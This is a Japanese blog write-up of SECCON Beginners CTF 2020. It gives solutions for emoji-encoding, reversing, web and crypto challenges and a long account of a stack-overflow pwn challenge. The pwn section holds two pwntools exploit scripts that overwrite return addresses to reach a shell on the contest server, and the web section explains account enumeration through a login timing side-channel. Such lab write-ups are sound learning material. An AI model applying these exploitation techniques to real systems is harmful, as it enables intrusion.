Beginners CTF 2020 Write up
5/23-5/24のBeginners CTFに参加した。
ぼっち参加で272pt/309位だった。(散々)
色々勉強になったし久しぶりだったので楽しかった。
また暇を見つけてCTFはやろうと思う。
解けた問題は以下。
- [Misc] Welcome
- [Misc] emoemoencode
- [Reversing] mask
- [Web] Spy
- [Crypt] R&B
今回どうしても解けなかったのがpwnのBeginner's Stack。
Beginner(Beginner向けとは言ってない)
得点を狙っていくならどんどん他の解けそうな問題に行くべきなのだろうが、別に勝ちに行くアレでも無いので勉強だと思って限界までpwnで粘った。そして敗れた
Beginnerなんてタグ付けられたら諦めるわけにも行かんですしね。
まぁそんなこんなでだらだら書いていく。
[Misc] Welcome
毎度おなじみwelcome。
discordのサーバにアクセスしてflagをコピペするだけ。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
そういやSECCON関係なのにircじゃないなぁって思ってたけどそういうことだったのか。
Writeupを書くまで気が付かなかった。(本番のときはとりあえずコピペなので)
[Misc] emoemoencode
これは序盤にかなり詰まって後回しにしたやつ。
既存のエンコード形式が存在する知識問題だと思ってかなりの時間を取られた。
ecojiとかのツールを入れてみたり、色々なサイトを巡ったが全部無駄足だったようだ。
結局これが解けた最後の問題だったという...
以下の短い絵文字の文字列が与えられる。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
困り果てた僕は取り敢えず、文字の規則性を調べてみた。
127843,127860,127846,127796,127842,127867,127859,127860,127845,127847,127841,127854,127792,...
pythonのord関数で数値を調べてみると、1文字目と3文字目の下一桁の値の差が丁度3つ分。
これはflagの形式のctf4bのcとfの関係にあたる。
cを基準に文字コードの差を取って復元してみると、
data=open('./emoemoencode.txt').readline()
data=data.rstrip('\n')
diff=[]
for w in data:
diff.append(ord(w)-ord(data[0]))
print(diff)
for d in diff:
print(chr(ord('c')+d),end="")
flagが出てきた。
[0, 17, 3, -47, -1, 24, 16, 17, 2, 4, -2, 11, -51, 4, 15, -2, 13, 5, 22, -4, -1, 22, -4, 2, 10, -51, -51, -51, -51, -51, -51, 7, 6, 26]
ctf4b{stegan0graphy_by_em000000ji}[Reversing] mask
とりあえず実行。
引数に文字列を取るらしいので取り敢えずctf4b{}と入れてみる。
$ ./mask ctf4b{}
Putting on masks...
atd4`qu
c`b bki
Wrong FLAG. Try again.
二通りの謎の文字列が出てきた。
そこで、Reversingの鉄則であるstringsを試してみる。
すると、
$ strings mask
[]A\A]A^A_
Usage: ./mask [FLAG]
Putting on masks...
atd4`qdedtUpetepqeUdaaeUeaqau
c`b bk`kj`KbababcaKbacaKiacki
Correct! Submit your FLAG.
Wrong FLAG. Try again.
;*3$"
GCC: (Arch Linux 9.3.0-1) 9.3.0
なんともまぁ都合の良い文字列が。
gdb-pedaで内容をざっと見しながらデバックしてみる。
天才である私はそのときのメモを残してあった。(偉い)
0x000055555555520c <+147>: mov eax,DWORD PTR [rbp-0xd8]
0x0000555555555212 <+153>: cdqe
0x0000555555555214 <+155>: movzx eax,BYTE PTR [rbp+rax*1-0xd0] // get char
0x000055555555521c <+163>: and eax,0x75 // char & 0x75
=> 0x000055555555521f <+166>: mov edx,eax
0x0000555555555221 <+168>: mov eax,DWORD PTR [rbp-0xd8] // get counter
0x0000555555555227 <+174>: cdqe
0x0000555555555229 <+176>: mov BYTE PTR [rbp+rax\*1-0x90],dl // save result
0x0000555555555230 <+183>: mov eax,DWORD PTR [rbp-0xd8]
0x0000555555555236 <+189>: cdqe
0x0000555555555238 <+191>: movzx eax,BYTE PTR [rbp+rax\*1-0xd0] // get char again
0x0000555555555240 <+199>: and eax,0xffffffeb // char & 0xeb
0x0000555555555243 <+202>: mov edx,eax
0x0000555555555245 <+204>: mov eax,DWORD PTR [rbp-0xd8]
0x000055555555524b <+210>: cdqe
0x000055555555524d <+212>: mov BYTE PTR [rbp+rax\*1-0x50],dl
0x0000555555555251 <+216>: add DWORD PTR [rbp-0xd8],0x1
0x0000555555555258 <+223>: mov eax,DWORD PTR [rbp-0xd8] // counter++
0x000055555555525e <+229>: cmp eax,DWORD PTR [rbp-0xd4]
0x0000555555555264 <+235>: jl 0x55555555520c <main+147>
こんな感じでディスアセンブルしたものにコメントを付けていくと、2つの処理があった。
一つは各文字と0x75をandする処理。
もうひとつは各文字と0xebをandする処理。
これらの両方に合致する文字列がflagになるということになる。
他の人のwriteupを見るともっと合理的な処理もある感じだがそこまで重たい処理ではないので自分は総当りした。
flag=""
words=""
expect="atd4`qdedtUpetepqeUdaaeUeaqau"
expect2="c`b bk`kj`KbababcaKbacaKiacki"
for i in range(ord('!'),ord('~')+1):
words+=chr(i)
for i in range(len(expect)):
for w in words:
if expect[i] == chr(ord(w) & 0x75) and expect2[i] == chr(ord(w) & 0xffffffeb):
flag+=w
print(flag)
改めて見るとゴリ押しもいいとこである。
得られたflagはこちら。
ctf4b{dont_reverse_face_mask}[Web] Spy
サーバ側で動いているであろうapp.pyと従業員一覧が書かれたemployees.txt、それからログインページらしきWebページのリンクが与えられる。
どうやらこのサイトを利用している従業員をリストから全て選ぶとflagが降ってくる具合らしい。
さて、どうやって利用者か否かを調べるかだが、app.pyを見てみると、
@app.route("/", methods=["GET", "POST"])
def index():
t = time.perf_counter()
if request.method == "GET":
return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
if request.method == "POST":
name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
session["name"] = name
return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))
どうやら最初に名前がDBにあるか確認し、無かったらメッセージを返してあったらハッシュを計算という感じ。
これならパスワード無しでも推測できるかも。
取り敢えず、DBにデータが無かったらすぐにindex.htmlを返すので処理時間に差が出るかもと思い計測してみる。
本来なら計測用のコードがここで出てくるはずだが、自分は面倒だったので気合で人力計測してしまった。(ワンライナーは得意なんだからこういうところで役立てたらいいのに)
見事にビンゴ。flagは、
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}[Crypt] R&B
フラグをあるプログラムでエンコードしたから、それを復元してねという問題。
エンコードされたフラグとプログラムは以下。
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13_encode(s):
#return codecs.encode(s,'rot13')
def base64_encode(s):
#return base64.b64encode(s.encode('utf-8')).decode('utf-8')
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13_encode(FLAG)
if t == "B":
FLAG = "B" + base64_encode(FLAG)
print(FLAG)
コメントの部分は推測するために自分で付け足した。(元々は無い)
デコードするときはこれの逆の処理をするプログラムを書けば良い。
エンコード関数から逆算してデコード関数を用意し、Rから始まるならrot13_decode()、Bから始まるならbase64_decode()を使えば良い。
ソルバは以下。
from os import getenv
import base64
import codecs
encoded=open('./encoded_flag').readlines()
flag=encoded[0]
def rot13_decode(s):
return codecs.decode(s,'rot13')
def base64_decode(s):
return base64.b64decode(s.encode('utf-8')).decode('utf-8')
for i in range(10):
if flag[0] == "R":
flag=flag[1:]
flag = rot13_decode(flag)
if flag[0] == "B":
flag=flag[1:]
flag = base64_decode(flag)
print(flag)
print("result:",flag)
ループ回数は適当。
単純に与えられたコードの逆の処理を書いていくことで求まる。
結果は以下。
BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45
ROHx9RrHyyDxu5rHIHn0gWHxyuDHcSGRE5FHSWrQHkFT1GoaNkI2IkHwISFJSCIx1WpHWkrQOfE3uKqycVL2qZrRyhE1ASFHI6H0MnZzgxGTSwDz55H0gPFHSho0g1IHugGzgRrKSyGISWGIc3qGMXE09HpKyWM0cuDHIhZ05eFRyWARM6DIWWEmN9
RODyIeBHyyETkKIRIaAJELDyIAIx51HmSnp1WeqR5EIaOVMIqBqx0lGxWvZHcgLxInGSEIEzSFZ2kdLacBnySKBIAnoKuUHmNkDyqeMQIMZwu6JGOTqyIgJaAEn3NkHII4FzARIG0=
BUk9IeDlWTEg5dXBUMVNuS1ZsRktNQVpHeWNvM2NBb1JmbEZLTUFaR3ljbzNjQW9SZmxGS01BWkd5Y28zY0FvUmZsQkp1QUxJcDU=
ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5
ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ctf4b{rot_base_rot_base_rot_base_base}
ctf4b{rot_base_rot_base_rot_base_base}
result: ctf4b{rot_base_rot_base_rot_base_base}解けなかった問題(Beginner's Stack)
Beginner's Stack(Beginner向けとは言ってない)
典型的なスタックオーバーフロー問題。
今まで僕はpwnを問いたことがなく、戦略上避けるべきだったが今回は逃げずに挑戦することにした。
実際、あと一歩のところまでいったがflag獲得には至らなかった。(悲しい)
実行ファイルがとサーバのアドレスが与えられる。
内容は一緒。多分サーバに負荷がかからないような配慮だと思う。
実行ファイルを実行すると、スタックが図示され入力を求められる。
とりあえず0をいっぱい入力してみる。
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffdb5c8e790 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffdb5c8e798 | 0x0000000000000000 |
+--------------------+
0x00007ffdb5c8e7a0 | 0x0000000000000000 |
+--------------------+
0x00007ffdb5c8e7a8 | 0x00007f4c06ef5190 |
+--------------------+
0x00007ffdb5c8e7b0 | 0x00007ffdb5c8e7c0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffdb5c8e7b8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffdb5c8e7c0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffdb5c8e7c8 | 0x00007f4c06d01bbb | <-- return address (main)
+--------------------+
0x00007ffdb5c8e7d0 | 0x00007f4c06e914d8 |
+--------------------+
0x00007ffdb5c8e7d8 | 0x00007ffdb5c8e8a8 |
+--------------------+
Input: 000000000000000000000000000000000
[ Address ] [ Stack ]
+--------------------+
0x00007ffdb5c8e790 | 0x3030303030303030 | <-- buf
+--------------------+
0x00007ffdb5c8e798 | 0x3030303030303030 |
+--------------------+
0x00007ffdb5c8e7a0 | 0x3030303030303030 |
+--------------------+
0x00007ffdb5c8e7a8 | 0x3030303030303030 |
+--------------------+
0x00007ffdb5c8e7b0 | 0x00007ffdb5c80a30 | <-- saved rbp (vuln)
+--------------------+
0x00007ffdb5c8e7b8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffdb5c8e7c0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffdb5c8e7c8 | 0x00007f4c06d01bbb | <-- return address (main)
+--------------------+
0x00007ffdb5c8e7d0 | 0x00007f4c06e914d8 |
+--------------------+
0x00007ffdb5c8e7d8 | 0x00007ffdb5c8e8a8 |
+--------------------+
入力がbufを超えて他のデータまで書き換えていることが分かる。(ちなみに30とは0のasciiコードである0x30)
なるほどこれはわかりやすい。
0x400861にあるwinを呼び出せば勝ちらしいのでvulnのreturnアドレスを書き換えればvulnに戻るときにwinに跳べるはず(これが一発で分かるだけでも一年前より成長した気がする)
それには値をよしなに変える必要がある。もしvulnのrbpを破壊せずにreturn addressを書き換えるならascii範囲外のデータを与える必要がある。(結局必要なかったけど)
困っているとどうやらpwntoolsなるものがあるらしい。
これならバイナリデータをそのままぶちこむことができる。
最初から最後まで自動化できるしなるほどこれは便利。
こうしてreturn addressだけを書き換えることはできた。
+--------------------+
0x00007ffeed69c960 | 0x00007ffeed69c970 | <-- saved rbp (vuln)
+--------------------+
0x00007ffeed69c968 | 0x0000000000400861 | <-- return address (vuln)
+--------------------+
0x00007ffeed69c970 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffeed69c978 | 0x00007fee2cb27b97 | <-- return address (main)
+--------------------+
これでOKや!!!的なことを考えていたらこんなメッセージが出てきた。
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
なんじゃと。これはCコンパイラ自作のときにも出会った「RSPは関数呼び出しの際に必ず16の倍数でなければならない」というルールそのものだった。
しかし、困った。そもそも変えたのはスタック内のアドレスでスタックポインタが変わるような操作をした覚えがない。
考えられるのは入力でオーバーフローしてスタックに積まれる値が変わったかも知れないくらいだ。
さて、内部状態も分からないしどこの関数での状態なのかが分からない。
スタックの状態からvuln内から呼び出した関数のどっかくらいなもんである。
この時点でもう解き初めて二時間位経ってた気がする。
ここから地獄が始まる。
最初に考えついたのは入力する文字列からスタックポインタを調整する案。
もしかしたらバッファオーバーフローしたときも実はその分だけスタックポインタが動いていてそれが16の倍数から外れる原因なのではないかというものだ。
色々入力する文字の数を調整して試してみるがなかなか上手く行かない。
次に思いついたのがrbpをいじって次の関数のスタックポインタをいじってしまおうという方法。
vulnとmainそれぞれにrbpとrspの値があったのでどっちも使うんじゃないか?と邪推した。
何かよく分からんが上手く行きそうな気がしてずっと試していた。
結局、夜は2時まで朝は目覚ましをかけて9時から終了時間までずっと意地で粘っていたが解けることは無かった。非常に悲しい。
絶対解けると思っていたがそんなに甘くなかった。
粘った証をここに残しておく。
from pwn import *
buf=""
send_data=""
main_rbp="400ad0"
terget_address="400861"
saved_vuln=""
ret_vuln=""
saved_main=""
ret_main=""
conn=remote('bs.quals.beginners.seccon.jp',9001)
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
saved_vuln=buf.decode('utf-8')
saved_vuln=saved_vuln[23:39]
buf=conn.recvline()
buf=conn.recvline()
ret_vuln=buf.decode('utf-8')
ret_vuln=ret_vuln[23:39]
buf=conn.recvline()
buf=conn.recvline()
saved_main=buf.decode('utf-8')
saved_main=saved_main[23:39]
buf=conn.recvline()
buf=conn.recvline()
ret_main=buf.decode('utf-8')
ret_main=ret_main[23:39]
print(saved_vuln)
print(ret_vuln)
print(saved_main)
print(ret_main)
# padding
for i in range(8*4):
send_data+='\0'
# saved_vuln address
for i in reversed(range(0,len(saved_vuln),2)):
if i==len(saved_vuln)-2:
send_data+=chr(int(saved_vuln[i:i+2],16)-0)
else:
send_data+=chr(int(saved_vuln[i:i+2],16))
# change address
for i in reversed(range(0,len(terget_address),2)):
send_data+=chr(int(terget_address[i:i+2],16))
for i in range(5):
send_data+='\0'
"""
# ret_vuln address
for i in reversed(range(0,len(ret_vuln),2)):
if i==len(ret_vuln)-2:
send_data+=chr(int(ret_vuln[i:i+2],16)+0)
else:
send_data+=chr(int(ret_vuln[i:i+2],16))
"""
# saved_main address
for i in reversed(range(0,len(saved_main),2)):
if i==len(saved_main)-2:
send_data+=chr(int(saved_main[i:i+2],16)-0)
else:
send_data+=chr(int(saved_main[i:i+2],16))
# ret_main address
for i in reversed(range(2,len(ret_main),2)):
send_data+=chr(int(ret_main[i:i+2],16))
conn.recvuntil("Input: ")
conn.send(send_data)
result=conn.recvall()
conn.interactive()
conn.close()
print(result.decode('utf-8'))
print(send_data)
色んなところのアドレスを書き換えられるようにして色々試してみたが結局ダメだった。
謎は深まるばかり。
他人のWriteupを読んでみた
悔しいので終了直後から色々探していた。
見てみるとどうやら跳ぶ先のアドレスをいい感じ変えたりvulnのreturn addressを変えてleaveを飛ばしてrbpの方で調整する方法などが見つかった。
早速試してみる。(今記事を書きながら試してる)
試してみたらできた。やっぱりvulnとmainどっちも使うのが正攻法っぽい。
vulnのreturn addressをvulnのret命令に持ってきてmainのrbpをwinの関数のアドレスに書き換えれば、leaの処理によるrspのズレがなくなる。
なるほど。これなら納得。
変更したコードは以下の通り。
from pwn import *
buf=""
send_data=""
main_rbp="400ad0"
terget_address="400861"
saved_vuln=""
ret_vuln=""
saved_main=""
ret_main=""
conn=remote('bs.quals.beginners.seccon.jp',9001)
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
buf=conn.recvline()
saved_vuln=buf.decode('utf-8')
saved_vuln=saved_vuln[23:39]
buf=conn.recvline()
buf=conn.recvline()
ret_vuln=buf.decode('utf-8')
ret_vuln=ret_vuln[23:39]
buf=conn.recvline()
buf=conn.recvline()
saved_main=buf.decode('utf-8')
saved_main=saved_main[23:39]
buf=conn.recvline()
buf=conn.recvline()
ret_main=buf.decode('utf-8')
ret_main=ret_main[23:39]
print(saved_vuln)
print(ret_vuln)
print(saved_main)
print(ret_main)
# padding
for i in range(8*4):
send_data+='\0'
# saved_vuln address
for i in reversed(range(0,len(saved_vuln),2)):
if i==len(saved_vuln)-2:
send_data+=chr(int(saved_vuln[i:i+2],16)-0)
else:
send_data+=chr(int(saved_vuln[i:i+2],16))
# ret_vuln address
for i in reversed(range(0,len(ret_vuln),2)):
if i==len(ret_vuln)-2:
send_data+=chr(int(ret_vuln[i:i+2],16)+18)
else:
send_data+=chr(int(ret_vuln[i:i+2],16))
"""
# saved_main address
for i in reversed(range(0,len(saved_main),2)):
if i==len(saved_main)-2:
send_data+=chr(int(saved_main[i:i+2],16)-0)
else:
send_data+=chr(int(saved_main[i:i+2],16))
"""
# change address
for i in reversed(range(0,len(terget_address),2)):
send_data+=chr(int(terget_address[i:i+2],16))
for i in range(5):
send_data+='\0'
# ret_main address
for i in reversed(range(2,len(ret_main),2)):
send_data+=chr(int(ret_main[i:i+2],16))
conn.recvuntil("Input: ")
conn.send(send_data)
conn.interactive()
result=conn.recvall()
conn.close()
print(result.decode('utf-8'))
print(send_data)
あぁスッキリした。
この後はシェルに入れるので、
[+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done
00007ffed9108c60
000000000040084e
0000000000400ad0
00007ff73a5d7b97
[*] Switching to interactive mode
[ Address ] [ Stack ]
+--------------------+
0x00007ffed9108c30 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffed9108c38 | 0x0000000000000000 |
+--------------------+
0x00007ffed9108c40 | 0x0000000000000000 |
+--------------------+
0x00007ffed9108c48 | 0x0000000000000000 |
+--------------------+
0x00007ffed9108c50 | 0x00007ffed9108c60 | <-- saved rbp (vuln)
+--------------------+
0x00007ffed9108c58 | 0x0000000000400860 | <-- return address (vuln)
+--------------------+
0x00007ffed9108c60 | 0x0000000000400861 | <-- saved rbp (main)
+--------------------+
0x00007ffed9108c68 | 0x00007ff73a5d7b97 | <-- return address (main)
+--------------------+
0x00007ffed9108c70 | 0x0000000000000001 |
+--------------------+
0x00007ffed9108c78 | 0x00007ffed9108d48 |
+--------------------+
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat fla
cat: fla: No such file or directory
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
catしてflagを見るだけ。
いやぁ惜しかった。今回はデバッガを上手く使えなかったのが敗因な気がする。
まさか、rspとrbpの合わせ技とは思わなかった。
最近勉強した技術が生かされていて楽しかったしためになったのでこれからもpwnには挑戦し続けたいと思う。
感想
pwnがあと少しのところで解けなかったのは大変心残りだがこれが今の実力だろう。
今までは大会とかがあると解ける問題だけをやっていたが今回はまんべんなく挑戦できた。(そもそも出てこなかった分野は沢山あったが)
これから色んな分野に挑戦して解ける問題を増やしていきたい。
色々やりたいしたいことがあって(コンパイラとか競プロとかWebとか)大変だがCTFはジャンルが万遍なく広がっていて精進するにはもってこいなので合間を見つけてどんどん解いていきたい。
ということで24時間お疲れ自分。